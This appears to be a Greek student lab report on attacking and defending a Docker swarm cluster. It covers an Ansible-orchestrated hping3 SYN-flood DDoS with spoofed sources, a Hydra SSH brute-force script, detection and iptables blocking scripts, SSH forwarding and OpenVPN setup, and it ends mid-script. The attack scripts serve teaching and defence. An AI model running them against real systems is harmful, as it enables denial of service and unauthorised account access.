1. Περιγραφή και Προετοιμασία του Συστήματος

1.1. Προαπαιτούμενα

Για την υλοποίηση των ζητουμένων της εργασίας έγινε χρήση της πλατφόρμας του Docker καθώς και εγκατάσταση Σμήνους σύμφωνα με τις οδηγίες του εργαστηρίου.


1.2. Αρχιτεκτονική Συστήματος

Για τους σκοπούς των ερωτημάτων χρησιμοποιήσαμε ένα cluster αποτελούμενο από 5 οντότητες:
  • Ένας master κόμβος ο οποίος αποτελεί συντονιστής για το σμήνος όσον αφορά τις διάφορες λειτουργίες του. Επιπρόσθετα αναλαμβάνει την αυτοματοποιημένη - μαζική εγκατάσταση λογισμικών που θα χρησιμοποιηθούν από τα μέλη του σμήνους για την διεκπαιρέωση εργασιών

  • Τέσσερις worker κόμβοι οι οποίοι συμβάλουν στις ποικίλες διαδικασίες του συστήματος


1.3. Script Προετοιμασίας Συστήματος

Εφόσον θέσουμε σε λειτουργία το Σμήνος, συνδεόμαστε στον master και εκτελούμε το πρώτο μας script(prepare_system.sh).

prepare_system.sh
#!/bin/bash

# must run with sudo!!!
sysctl -w net.ipv4.tcp_syncookies=0

apt-get update
apt-get install ansible -y
apt-get install sshpass -y
sed '/\[defaults\]/a host_key_checking = False' /etc/ansible/ansible.cfg > temp && cat temp > /etc/ansible/ansible.cfg
rm temp

network=$(ifconfig | grep 255.255.0.0 | awk '{print $2}' | cut -d '.' -f1-3)
network="$network.*"
echo "[workers]" > inventory
nmap -sP $network | grep worker | awk '{print $6}' | cut -d ')' -f1 | cut -d '(' -f2 >> inventory

master=$(ifconfig | grep 255.255.0.0 | awk '{print $2}')
echo -e "\n[all_hosts]" >> inventory
echo $master >> inventory
nmap -sP $network | grep worker | awk '{print $6}' | cut -d ')' -f1 | cut -d '(' -f2 >> inventory

Το εν λόγω script αναλαμβάνει να προετοιμάσει τον master κόμβο για τις διάφορες λειτουργίες που θα λάβουν χώρα στην σύνεχεια. Συγκεκριμένα:

  • Απενεργοποιεί το αντίμετρο net.ipv4.tcp_syncookies. Το αντίμετρο SYN cookie αντιμετωπίζει περιστατικά IP Spoofing καθώς έχει σκοπό την αποτροπή του γεμίσματος της ουράς συνδέσεων με αποτελέσμα καινούργιες συνδέσεις να μην γίνονται αποδεκτές. Η απενεργοποίηση του αντίμετρου είναι απαραίτητη καθώς ο master θα λειτουργήσει σαν θύμα του DDoS Attack

  • Ενημερώνει την λίστα πακέτων του συστήματος

  • Εγκαθιστεί το εργαλείο ansible

  • Εγκαθιστεί το εργαλείο sshpass

  • Παραμετροποιεί κατάλληλα το config αρχείο του προγράμματος ansible

  • Εισάγει στο αρχείο inventory(το οποίο θα χρησιμοποιηθεί από το ansible) δύο κατηγορίες χρηστών. Η πρώτη κατηγορία απευθύνεται στους workers του Σμήνους ενώ η δεύτερη απευθύνεται σε όλους τους hosts


1.4. Αυτοματοποιημένες Διαδικασίες

Για την υλοποίηση μαζικών εγκαταστάσεων λογισμικού στα μέλη του σμήνους καθώς και ταυτόχρονη εκτέλεση προγραμμάτων έχουμε αναπτύξει το ακόλουθο script

execute_playbook.sh
#!/bin/bash

echo "Choose a playbook to execute"
echo "1. Transfer scripts to workers"
echo "2. Install hping3 on workers"
echo "3. Start DDoS Attack"
echo "4. Stop DDoS Attack"
echo "5. Configure ssh on workers"
echo "6. Install openvpn on all hosts"
echo "7. Connect every host to VPN"
echo -e "\nEnter your option: "
read answer

case $answer in

        1)
                ansible-playbook -i inventory myplaybooks/transfer_scripts.yml --ask-pass --ask-become-pass
                ;;

        2)
                ansible-playbook -i inventory myplaybooks/install_hping3.yml --ask-pass --ask-become-pass
                ;;

        3)
                ansible-playbook -i inventory myplaybooks/start_ddos_attack.yml --ask-pass --ask-become-pass
                ;;

        4)
                ansible-playbook -i inventory myplaybooks/stop_ddos_attack.yml --ask-pass --ask-become-pass
                ;;

        5)
                ansible-playbook -i inventory myplaybooks/configure_ssh.yml --ask-pass --ask-become-pass
                ;;

        6)
                ansible-playbook -i inventory myplaybooks/install_openvpn.yml --ask-pass --ask-become-pass
                ;;

        7)
                ansible-playbook -i inventory myplaybooks/connect_to_vpn.yml --ask-pass --ask-become-pass
                ;;

        *)
                echo "invalid option"
                ;;
esac

Τρέχοντας το script ο χρήστης μπορεί να επιλέξει την λειτουργία που τον ενδιαφέρει. Η επεξήγηση των ansible playbooks θα πραγματοποιηθεί στην συνέχεια.


1.5. Μεταφορά Scripts στους workers

Εκτελούμε το script execute_playbook.sh και στο μενού επιλογών εισάγουμε τον αριθμό 1 με αποτέλεσμα το ansible να εκτελέσει το playbook transfer_scripts.yml.

transfer_scripts.yml
---
- name: Transfer scripts to workers
  hosts: workers
  become: true
  become_user: root

  tasks:
  - name: Transferring script curl.sh
    copy: src=/project/worker_scripts/curl.sh dest=/home/docker mode=0777

  - name: Transferring script start_ddos.sh
    copy: src=/project/worker_scripts/start_ddos.sh dest=/home/docker mode=0777

  - name: Transferring script stop_ddos.sh
    copy: src=/project/worker_scripts/stop_ddos.sh dest=/home/docker mode=0777

  - name: Transferring script detect_ssh_brute_force.sh
    copy: src=/project/worker_scripts/detect_ssh_brute_force.sh dest=/home/docker mode=0777

  - name: Transferring script block_ssh_brute_force.sh
    copy: src=/project/worker_scripts/block_ssh_brute_force.sh dest=/home/docker mode=0777

  - name: Transferring script configure_ssh.sh
    copy: src=/project/worker_scripts/configure_ssh.sh dest=/home/docker mode=0777

  - name: Transferring script start_local_ssh_forwarding.sh
    copy: src=/project/worker_scripts/start_local_ssh_forwarding.sh dest=/home/docker mode=0777

Η επεξήγηση των λειτουργιών που εκτελεί κάθε script θα πραγματοποιηθεί στην συνέχεια.


2. DDoS Attack

2.1. Έναρξη Λειτουργίας HTTP Server

Εκτελούμε το script start_server.sh στον master κόμβο.

start_server.sh
#!/bin/bash

cd myserver
python -m SimpleHTTPServer 8000 &

Θέτουμε σε λειτουργία μία web υπηρεσία που εξυπηρετεί HTTP requests στην πόρτα 8000. Στον φάκελο myserver όπου εκκινούμε την υπηρεσία υπάρχει το αρχείο index.html


2.2. Παράδειγμα HTTP Request

Εκτελούμε το script curl.sh στον worker_1.

curl.sh
#!/bin/bash

network=$(ifconfig | grep 255.255.0.0 | awk '{print $2}' | cut -d '.' -f1-3)
network="$network.*"
target=$(nmap -sP $network | grep master | awk '{print $6}' | cut -d ')' -f1 | cut -d '(' -f2)
curl http://$target:8000

Βρίσκουμε δυναμικά την διεύθυνση IP του server και πραγματοποιούμε ένα HTTP request μέσω του εργαλείου curl. Ο server μας απαντάει με το αρχείο index.html.

<!DOCTYPE html>
<html>
<body>

<h1>*Beep boop* the server is up and running</h1>

</body>
</html>


2.3. Εγκατάσταση Εργαλείου hping3 στους workers

Εκτελούμε το script execute_playbook.sh και στο μενού επιλογών εισάγουμε τον αριθμό 2 με αποτέλεσμα το ansible να εκτελέσει το playbook install_hping3.yml.

install_hping3.yml
---
- name: Install hping3 on workers
  hosts: workers
  become: true
  become_user: root

  tasks:
  - name: Installing hping3
    apt:
      name: hping3
      state: present


2.4. Εκτέλεση DDoS Attack

Σε προηγούμενο βήμα μεταφέραμε ορισμένα scripts στους workers του Σμήνους. Ένα από αυτά είναι το start_ddos.sh

start_ddos.sh
#!/bin/bash

network=$(ifconfig | grep 255.255.0.0 | awk '{print $2}' | cut -d '.' -f1-3)
network="$network.*"
target=$(nmap -sP $network | grep master | awk '{print $6}' | cut -d ')' -f1 | cut -d '(' -f2)
nohup hping3 -S -p 8000 --rand-source --fast $target &

Το script start_ddos.sh βρίσκει δυναμικά την διεύθυνση του HTTP Server και εκτελεί DoS επίθεση μέσω του εργαλείου hping3. Ακολουθεί επεξήγηση των επιλογών της εντολής hping3:

  • nohup: Φροντίζει ώστε η διεργασία που δημιουργείται να τρέχει στο παρασκήνιο

  • -S: Τα πακέτα που θα σταλθούν θα έχουν το SYN bit ενεργοποιημένο

  • -p 8000: Η πόρτα προορισμού θα είναι η 8000

  • --rand-source: Κάθε πακέτα θα έχει τυχαία διεύθυνση IP αποστολέα

  • --fast: Τα πακέτα θα στέλνονται με γοργό ρυθμό

Η επίθεση επομένως αποτελεί ένα SYN Flooding Attack με αποτέλεσμα πολλές συνδέσεις να μένουν μισάνοιχτες καθώς δεν ολοκληρώνεται το TCP Three Way Handshake. Ο buffer συνδέσεων του Server γεμίζει και δεν δέχεται καινούργια αιτήματα. Επομένως επιτυγχάνεται Άρνηση Υπηρεσίας.

Εκτελούμε το script execute_playbook.sh και στο μενού επιλογών εισάγουμε τον αριθμό 3 με αποτέλεσμα το ansible να εκτελέσει το playbook start_ddos_attack.yml.

start_ddos_attack.yml
---
- name: Start DDoS
  hosts: workers
  become: true
  become_user: root

  tasks:
  - name: Starting DDoS Attack
    command: sh /home/docker/start_ddos.sh

Το playbook start_ddos_attack.yml εκτελεί ταυτόχρονα σε όλους τους workers το script start_ddos.sh με αποτέλεσμα την έναρξη DDoS Attack προς τον master(HTTP Server). Στη συνέχεια πραγματοποιούμε ένα HTTP request με την βοήθεια του script curl.sh και παρατηρούμε ότι ο Server δεν ανταποκρίνεται.


2.5. Ανίχνευση DDoS Attack

Μεταβαίνουμε στον master κόμβο και εκτελούμε την εντολή sudo tcpdump port 8000 ώστε να διαπιστώσουμε αν υφίσταται ασυνήθιστη δικτυακή κίνηση προς τον Server.

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
19:30:14.238511 IP 10.110.79.148.4697 > dd02ad277ce2.8000: Flags [S], seq 1908833461, win 512, length 0
19:30:14.238511 IP 112.148.52.179.d.dyn.claro.net.do.5525 > dd02ad277ce2.8000: Flags [S], seq 405413400, win 512, length 0
19:30:14.267454 IP 28.111.97.87.4697 > dd02ad277ce2.8000: Flags [S], seq 1908833461, win 512, length 0
19:30:14.303286 IP 50.239.103.26.4698 > dd02ad277ce2.8000: Flags [S], seq 8773725, win 512, length 0
19:30:14.338585 IP 194.108.17.99.5526 > dd02ad277ce2.8000: Flags [S], seq 222808557, win 512, length 0
19:30:14.338585 IP adsl-67-127-134-126.dsl.sndg02.pacbell.net.4698 > dd02ad277ce2.8000: Flags [S], seq 8773725, win 512, length 0
19:30:14.367571 IP 196.71.238.168.4698 > dd02ad277ce2.8000: Flags [S], seq 8773725, win 512, length 0
19:30:14.403351 IP 243.154.130.32.4699 > dd02ad277ce2.8000: Flags [S], seq 615709092, win 512, length 0
19:30:14.903838 IP 12.62.142.196.4704 > dd02ad277ce2.8000: Flags [S], seq 698537545, win 512, length 0
19:30:16.169422 IP 100.113.234.104.4716 > dd02ad277ce2.8000: Flags [S], seq 1700667867, win 512, length 0
19:30:17.341758 IP 150.53.177.105.4728 > dd02ad277ce2.8000: Flags [S], seq 1989391975, win 512, length 0
19:30:18.743039 IP 159-138-102-121.flets.hi-ho.ne.jp.4742 > dd02ad277ce2.8000: Flags [S], seq 1799290936, win 512, length 0
19:30:19.009312 IP 231.159.196.181.4745 > dd02ad277ce2.8000: Flags [S], seq 1787026710, win 512, length 0

Παρατηρούμε ότι πραγματοποιούνται πολλές συνδέσεις σε μικρό χρονικό διάστημα. Κάθε σύνδεση έχει διαφορετική διεύθυνση αποστολέα και το SYN bit είναι ενεργοποιημένο. Επίσης καμία από τις συνδέσεις δεν φαίνεται να ολοκληρώνει το TCP Three Way Handshake επομένως συμπαιρένουμε ότι πρόκεται για μία SYN Flooding DDoS Attack.

Στην συνέχεια εκτελούμε την εντολή netstat -tn | grep 8000

tcp        0      0 172.19.0.2:8000         174.77.115.169:10162    SYN_RECV
tcp        0      0 172.19.0.2:8000         89.231.77.26:10134      SYN_RECV
tcp        0      0 172.19.0.2:8000         245.71.230.254:10182    SYN_RECV
tcp        0      0 172.19.0.2:8000         167.54.0.48:10146       SYN_RECV
tcp        0      0 172.19.0.2:8000         0.72.239.96:10203       SYN_RECV
tcp        0      0 172.19.0.2:8000         212.218.200.50:10345    SYN_RECV
tcp        0      0 172.19.0.2:8000         54.48.41.221:10325      SYN_RECV
tcp        0      0 172.19.0.2:8000         154.69.94.37:10290      SYN_RECV

Παρατηρούμε ότι έχουν πραγματοποιηθεί πολλές συνδέσεις στον HTPP Server ωστόσο σε καμία δεν έχει ολοκληρωθεί το TCP Three Way Handshake.


2.6. Αντιμετώπιση DDoS Attack

Για την εντιμετώπιση της επίθεσης συγκρίνουμε τα SYN πακέτα ανάμεσα σε ένα κανονικό HTTP request και σε ένα άιτημα που δημιουργήθηκε από το hping3.

16:55:22.111999 IP project_worker_4.project_net.33526 > 1e2f64f881f9.8000: Flags [S], seq 2437561719, win 64240, options [mss 1460,sackOK,TS val 1358362765 ecr 0,nop,wscale 7], length 0

16:37:29.718510 IP 224.8.186.98.2706 > 1e2f64f881f9.8000: Flags [S], seq 1460290212, win 512, length 0

Παρατηρούμε ότι τα πακέτα που στέλνονται μέσω του hping3 δεν θέτουν τιμή στο max segment size(mss) σε αντίθεση με τα κανονικά πακέτα που εκκινούν την σύνδεση. Επομένως μπορούμε να φιλτράρουμε την κίνηση με βάση αυτό το κριτήριο.

block_ddos.sh
#!/bin/bash

# must run with sudo!!!

sudo iptables -I INPUT -p tcp --dport 8000 --tcp-flags SYN SYN -m tcpmss ! --mss 0:65535 -j DROP

Το script block_ddos.sh εισάγει στην αλυσίδα INPUT τον παραπάνω κανόνα σύμφωνα με τον οποίο Αν:

  • Το πακέτο εισέρχεται στο σύστημα

  • Το πρωτόκολλο που χρησιμοποιείται στο επίπεδο μεταφοράς είναι το TCP

  • Η πόρτα προορισμού είναι η 8000

  • Το SYN bit είναι ενεργοποιημένο

  • Η τιμή του max segment size δεν ειναι απο 0 έως 65535(δηλαδή δεν έχει θέσει κάποιο mss)

  • Τότε το πακέτο απορρίπτεται

Εκτελούμε το script και στη συνέχεια πραγματοποιούμε ένα HTTP request με την βοήθεια του script curl.sh από τον worker_1. Παρατηρούμε ότι ο Server επιστρέφει το αρχείο index.html επομένως συμπεραίνουμε πως η επίθεση αντιμετωπίστηκε με επιτυχία.

Εκτελούμε την εντολή sudo iptables --list για την εμφάνιση του κανόνα που προστέθηκε μέσω του script

Chain INPUT (policy ACCEPT)
target     prot opt source               destination
DROP       tcp  --  anywhere             anywhere             tcp dpt:8000 flags:SYN/SYN tcpmss match !0:65535

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination


3. SSH Brute Force Attack

3.1. Εγκατάσταση Εργαλείου THC-Hydra

Για την πραγματοποίηση της επίθεσης εγκαθιστούμε το εργαλείο THC-Hydra στον master κόμβο με την εντολή sudo apt-get install hydra. Σε αυτό το σενάριο ο master θα αποτελέσει τον επιτιθέμενο ενώ το worker_1 θα αποτελέσει τον στόχο της επίθεσης.


3.2. Εκτέλεση SSH Brute Force Attack

Έχουμε στην διάθεση μας το αρχείο password_list.txt το οποίο περιέχει τυχαίους κωδικούς και εκτελούμε το script ssh_brute_force.sh.

ssh_brute_force.sh
#!/bin/bash

network=$(ifconfig | grep 255.255.0.0 | awk '{print $2}' | cut -d '.' -f1-3)
network="$network.*"
target=$(nmap -sP $network | grep worker_1 | awk '{print $6}' | cut -d ')' -f1 | cut -d '(' -f2)
hydra -l docker -P password_list.txt $target ssh

Το script ssh_brute_force.sh βρίσκει δυναμικά την IP διεύθυνση του worker_1 και εξαπολύει επίθεση προς αυτόν χρησιμοποιώντας το εργαλείο THC-Hydra με τις ακόλουθες επιλογές:

  • -l: Θεωρεί δεδομένο πως το όνομα χρήστη είναι "docker"

  • -P: Δοκιμάζει όλους τους κωδικούς που υπάρχουν στο αρχείο password_list.txt

Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2021-01-24 20:47:32
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 200 login tries (l:1/p:200), ~13 tries per task
[DATA] attacking ssh://172.19.0.3:22/
[22][ssh] host: 172.19.0.3   login: docker   password: docker
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 5 final worker threads did not complete until end.
[ERROR] 5 targets did not resolve or could not be connected
[ERROR] 16 targets did not complete
Hydra (http://www.thc.org/thc-hydra) finished at 2021-01-24 20:47:59

Παρατηρούμε ότι η επίθεση ολοκληρώθηκε με επιτυχία.


3.3. Ανίχνευση SSH Brute Force Attack

Για την ανίχνευση του SSH Brute Force Attack έχει αναπτυχθεί το script detect_ssh_brute_force.sh.

detect_ssh_brute_force.sh
#!/bin/bash

echo "Starting scan for SSH Brute Force Attacks"
while [ 1 ]
do
        count=$(netstat -tn | awk '{print $4}' | grep :22 | wc -l)
        if [ $count -gt 20 ]
        then
                attacker=$(netstat -tn | awk '{print $5}' | grep -v :22 | cut -d ':' -f1 | tail -1)
                echo "SSH Bruce Force Attack detected!!!"
                echo "$attacker made $count SSH connections at the same time"

                echo -e
                echo "Data collected:"
                netstat -tn
                break
        fi
        sleep 1
done

Το script detect_ssh_brute_force.sh ελέγχει επαννελημένα το αποτέλεσμα της εντολής netstat -tn και όταν το πλήθος συνδέσεων στην πόρτα 22(δηλαδή στο SSH) είναι μεγαλύτερο του 20 σταματάει την εκτέλεση του προγράμματος και εμφανίζει πληροφορίες σχετικά με την επίθεση.

Starting scan for SSH Brute Force Attacks
SSH Brute Force Attack detected!!!
172.19.0.2 made 22 SSH connections at the same time

Data collected:
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 172.19.0.3:22           172.19.0.2:34536        ESTABLISHED
tcp        0      0 172.19.0.3:22           172.19.0.2:34476        TIME_WAIT
tcp        0      0 172.19.0.3:22           172.19.0.2:34532        ESTABLISHED
tcp        0      0 172.19.0.3:22           172.19.0.2:34500        TIME_WAIT
tcp        0      0 172.19.0.3:22           172.19.0.2:34454        TIME_WAIT
tcp        0      0 172.19.0.3:22           172.19.0.2:34510        ESTABLISHED
tcp        0      0 172.19.0.3:22           172.19.0.2:34508        ESTABLISHED
tcp        0      0 172.19.0.3:22           172.19.0.2:34518        ESTABLISHED
tcp        0      0 172.19.0.3:22           172.19.0.2:34516        ESTABLISHED
tcp        0      0 172.19.0.3:22           172.19.0.2:34506        ESTABLISHED
tcp        0      0 172.19.0.3:22           172.19.0.2:34502        ESTABLISHED
tcp        0      0 172.19.0.3:22           172.19.0.2:34474        TIME_WAIT
tcp        0      0 172.19.0.3:22           172.19.0.2:34524        ESTABLISHED
tcp        0      0 172.19.0.3:22           172.19.0.2:51128        ESTABLISHED
tcp        0      0 172.19.0.3:22           172.19.0.2:34448        TIME_WAIT
tcp        0      0 172.19.0.3:22           172.19.0.2:34520        ESTABLISHED
tcp        0      0 172.19.0.3:22           172.19.0.2:34514        ESTABLISHED
tcp        0      0 172.19.0.3:22           172.19.0.2:34504        ESTABLISHED
tcp        0      0 172.19.0.3:22           172.19.0.2:34528        ESTABLISHED
tcp        0      0 172.19.0.3:22           172.19.0.2:34470        TIME_WAIT
tcp        0      0 172.19.0.3:22           172.19.0.2:34526        ESTABLISHED
tcp        0      0 172.19.0.3:22           172.19.0.2:34512        ESTABLISHED


3.4. Αντιμετώπιση SSH Brute Force Attack

Η αντιμετώπιση της επίθεσης θα γίνει μέσω ενός script που υλοποιήσαμε καθώς δεν καταφέραμε να παραμετροποιήσουμε κατάλληλα το εργαλείο fail2ban.


block_ssh_brute_force.sh
#!/bin/bash

# must run with sudo!!!

while [ 1 ]
do
        count=$(netstat -tn | awk '{print $4}' | grep :22 | wc -l)
        if [ $count -gt 10 ]
        then
                attacker=$(netstat -tn | awk '{print $5}' | grep -v :22 | cut -d ':' -f1 | tail -1)
                iptables -I INPUT -p tcp --dport 22 -s $attacker -m state --state NEW  -j DROP
                sleep 90
                iptables -D INPUT -p tcp --dport 22 -s $attacker -m state --state NEW -j DROP
        fi
        sleep 1
done

Το script block_ssh_brute_force.sh έχει σκοπό την αντιμετώπιση της επίθεσης SSH Brute Force. Ελέγχει επαννελημένα το αποτέλεσμα της εντολής netstat -tn και όταν το πλήθος συνδέσεων στην πόρτα 22(δηλαδή στο SSH) είναι μεγαλύτερο του 10 προσθέτει κατάλληλο κανόνα στο iptalbes ώστε να μην επιτρέπει στο επιτιθέμενο να πραγματοποιήσει καινούργιες συνδέσεις. Τέλος μετά από ένα διάστημα 90 δευτερολέπτων διαγράφει τον κανόνα από το iptables και συνεχίσει τον έλεγχο ώστε να εντοπίσει τυχόν νέες επιθέσεις.

Εκτελούμε το script block_ssh_brute_force.sh και ξεκινάμε την επίθεση από τον master στον worker_1.

Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2021-01-25 00:55:05
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 200 login tries (l:1/p:200), ~13 tries per task
[DATA] attacking ssh://172.27.0.3:22/
[STATUS] 139.00 tries/min, 139 tries in 00:01h, 94 to do in 00:01h, 16 active
1 of 1 target completed, 0 valid passwords found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 16 targets did not complete
Hydra (http://www.thc.org/thc-hydra) finished at 2021-01-25 00:56:43

Παρατηρούμε ότι η επίθεση ήταν ανεπιτυχής.

Chain INPUT (policy ACCEPT)
target     prot opt source               destination
DROP       tcp  --  project_master_1.project_net  anywhere             tcp dpt:22 state NEW

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination

Επίσης στο iptables έχει προστεθεί κανόνας για τον αποκλεισμό του επιτιθέμενου.


3.5. Τροποποίηση ssh-server στους workers

generate_keys.sh
#!/bin/bash

ssh-keygen -t rsa

network=$(ifconfig | grep 255.255.0.0 | awk '{print $2}' | cut -d '.' -f1-3)
network="$network.*"
hosts=$(nmap -sP $network | grep worker | awk '{print $6}' | cut -d ')' -f1 | cut -d '(' -f2)
for ip in $hosts
do
        ssh-copy-id docker@$ip
done

Αρχικά ο master δημιουργεί και μεταφέρει τα SSH κλειδιά στους workers του Σμήνους.


configure_ssh.sh
#!/bin/bash

echo "PasswordAuthentication no" >> /etc/ssh/sshd_config
echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config
service ssh restart

Ένα από τα scripts που μεταφέρθηκαν στους workers μέσω του ansible ήταν το configure_ssh.sh. Το συγκεκριμένο script τροποποιεί κατάλληλα το config αρχείο του SSH ώστε να επιτρέπει συνδέσεις μόνο με κλειδί και επανεκκινεί την υπηρεσία ώστε να λάβουν χώρα οι αλλαγές.

Εκτελούμε το script execute_playbook.sh και στο μενού επιλογών εισάγουμε τον αριθμό 5 με αποτέλεσμα το ansible να εκτελέσει το playbook configure_ssh.yml.

configure_ssh.yml
---
- name: Configure ssh on workers
  hosts: workers
  become: true
  become_user: root

  tasks:
  - name: Configuring ssh
    command: sh /home/docker/configure_ssh.sh

Το playbook configure_ssh.yml αναλαμβάνει να εκτελέσει το script configure_ssh.sh σε όλους τους workers. Επομένως πραγματοποιείται ταυτόχρονη παραμετροποίηση των ssh-server στους workers.

Εκτελούμε για μία τελευταία φορά την επίθεση.

Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2021-01-24 23:07:20
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 200 login tries (l:1/p:200), ~13 tries per task
[DATA] attacking ssh://172.19.0.3:22/
[ERROR] target ssh://172.19.0.3:22/ does not support password authentication.

Παρατηρούμε πως το εργαλείο THC-Hydra εμφανίζει μήνυμα ότι η επίθεση δεν ήταν επιτυχής καθώς ο στόχος επιτρέπει σύνδεση μόνο με κλειδί.


4. SSH Forwarding

4.1. Local SSH Forwarding

Σκοπός του Local SSH Forwarding είναι η προώθηση μίας υπηρεσίας στον client(worker_1) από τον Server(master) μέσω μιας πόρτας δημιουργώντας ένα tunnel μέχρι τον Server.

start_local_ssh_forwarding.sh
#!/bin/bash

network=$(ifconfig | grep 255.255.0.0 | awk '{print $2}' | cut -d '.' -f1-3)
network="$network.*"
target=$(nmap -sP $network | grep master | awk '{print $6}' | cut -d ')' -f1 | cut -d '(' -f2)
ssh -fNT -L 8080:$target:8000 docker@$target

Αρχικά ο worker βρίσκει δυναμικά την IP διεύθυνση του server και πραγματοποιεί Local SSH Forwarding από την πόρτα 8000 του server στην τοπική του πόρτα 8080.

Εκτελούμε το script στον worker_1 και πραγματοποιούμε HTTP request με το εργαλείο curl.

docker@73e8f80f638f:~$ curl http://localhost:8080
<!DOCTYPE html>
<html>
<body>

<h1>*Beep boop* the server is up and running</h1>

</body>
</html>


4.2. Remote SSH Forwarding

Σκοπός του Remote SSH Forwarding είναι η προώθηση μίας υπηρεσίας μέσω πόρτας από τον Server(master) στον client(worker_1) δημιουργώντας ένα tunnel μέχρι τον client.

start_remote_ssh_forwarding.sh
#!/bin/bash

network=$(ifconfig | grep 255.255.0.0 | awk '{print $2}' | cut -d '.' -f1-3)
network="$network.*"
target=$(nmap -sP $network | grep worker_1 | awk '{print $6}' | cut -d ')' -f1 | cut -d '(' -f2)
ssh -fNT -R 8080:localhost:8000 docker@$target

Αρχικά ο master βρίσκει δυναμικά την IP διεύθυνση του worker_1 και πραγματοποιεί Remote SSH Forwarding από την πόρτα 8000 του server στην πόρτα 8080 του client.

Εκτελούμε το script στον master και πραγματοποιούμε HTTP request από τον worker_1 με το εργαλείο curl.

docker@73e8f80f638f:~$ curl http://localhost:8080
<!DOCTYPE html>
<html>
<body>

<h1>*Beep boop* the server is up and running</h1>

</body>
</html>


5. VPN

Σκοπός του ζητούμενου είναι η δημιουργία Virtual Private Network καθώς και η σύνδεση των μελών του Σμήνους σε αυτό.

Τα πρώτα βήματα για την υλοποίηση του VPN εκτελούνται στο σύστημα που φιλοξενεί το docker και όχι μέσα στο Σμήνος.

Αρχικά τροποποιούμε το αρχείο extra_lines κατάλληλα.

client
nobind
dev tun
comp-lzo
resolv-retry infinite
keepalive 15 60

remote-cert-tls server
remote 192.168.1.169 1194 udp <-- Αλλάζουμε την IP σε αυτήν του κανονικού μας συστήματος.
float

Στην συνέχεια εκτελούμε από το δικό μας σύστημα το script initiate-vpn.sh το οποίο έχει συνταχθεί σύμφωνα με τις οδηγίες του εργαστηρίου

initiate-vpn.sh
#!/bin/bash
IP=127.0.0.1                                            # Server IP
P=1194                                                  # Server Port
OVPN_SERVER='10.80.0.0/16'                              # VPN Network

#vpn_data=/var/lib/swarmlab/openvpn/openvpn-services/   # Dir to save data ** this must exist **
vpn_data=$PWD/openvpn-services/
if [ ! -d $vpn_data ]; then
 mkdir -p $vpn_data
fi

NAME=swarmlab-vpn-services                              # name of docker service
DOCKERnetwork=swarmlab-vpn-services-network             # docker network
docker=registry.vlabs.uniwa.gr:5080/myownvpn            # docker image

docker stop  $NAME					      #stop container
sleep 1
docker container rm  $NAME				#rm container

# rm config files
rm -f $vpn_data/openvpn.conf.*.bak
rm -f $vpn_data/openvpn.conf
rm -f $vpn_data/ovpn_env.sh.*.bak
rm -f $vpn_data/ovpn_env.sh

# create network
sleep 1
docker network create --attachable=true --driver=bridge --subnet=172.50.0.0/16 --gateway=172.50.0.1 $DOCKERnetwork

#run container        see ovpn_genconfig
docker run --net=none -it -v $vpn_data:/etc/openvpn  -p 1194:1194 --rm $docker ovpn_genconfig  -u udp://$IP:1194 \
-N -d -c -p "route 172.50.20.0 255.255.255.0" -e "topology subnet" -s $OVPN_SERVER

# create pki          see ovpn_initpki
docker run --net=none -v $vpn_data:/etc/openvpn  --rm -it $docker ovpn_initpki

#                     see ovpn_copy_server_files
#docker run --net=none -v $vpn_data:/etc/openvpn  --rm $docker ovpn_copy_server_files

#create vpn           see --cap-add=NET_ADMIN
sleep 1
docker run --detach --name $NAME -v $vpn_data:/etc/openvpn --net=$DOCKERnetwork --ip=172.50.0.2 -p $P:1194/udp --cap-add=NET_ADMIN $docker

sudo sysctl -w net.ipv4.ip_forward=1

#show created
docker ps

echo -e "\nEnter the full path of the directory you want to copy the .ovpn files to: "
read path
for USERNAME in master worker_1 worker_2 worker_3 worker_4
do

    docker run -v $vpn_data:/etc/openvpn --rm -it $docker easyrsa build-client-full $USERNAME nopass
    docker run -v $vpn_data:/etc/openvpn --log-driver=none --rm $docker ovpn_getclient $USERNAME  > $USERNAME.ovpn

    tail -n +8 $USERNAME.ovpn > temp && cat temp > $USERNAME.ovpn
    cat $USERNAME.ovpn > temp && cat extra_lines > $USERNAME.ovpn && cat temp >> $USERNAME.ovpn

    mv $USERNAME.ovpn $path

done

Το script initiate-vpn.sh αναλαμβάνει την κατασκευή του VPN καθώς και την δημιουργία χρηστών για αυτό. Δημιουργούνται συνολικά πέντε χρήστες που αντιστοιχούν στα μέλη του σμήνους ενώ στην συνέχεια πραγματοποιούνται οι κατάλληλες τροποποιήσεις πάνω στα .ovpn αρχεία του καθενός. Τέλος τα .ovpn αρχεία μεταφέρονται στον κοινόχρηστο φάκελο του Σμήνους.


Τα επόμενα βήματα εκτελούνται από τα μέλη του Σμήνους
transfer_vpn_files.sh
#!/bin/bash

network=$(ifconfig | grep 255.255.0.0 | awk '{print $2}' | cut -d '.' -f1-3)
network="$network.*"

cp /project/vpn_files/master.ovpn /home/docker/myvpn.ovpn
for host in worker_1 worker_2 worker_3 worker_4
do
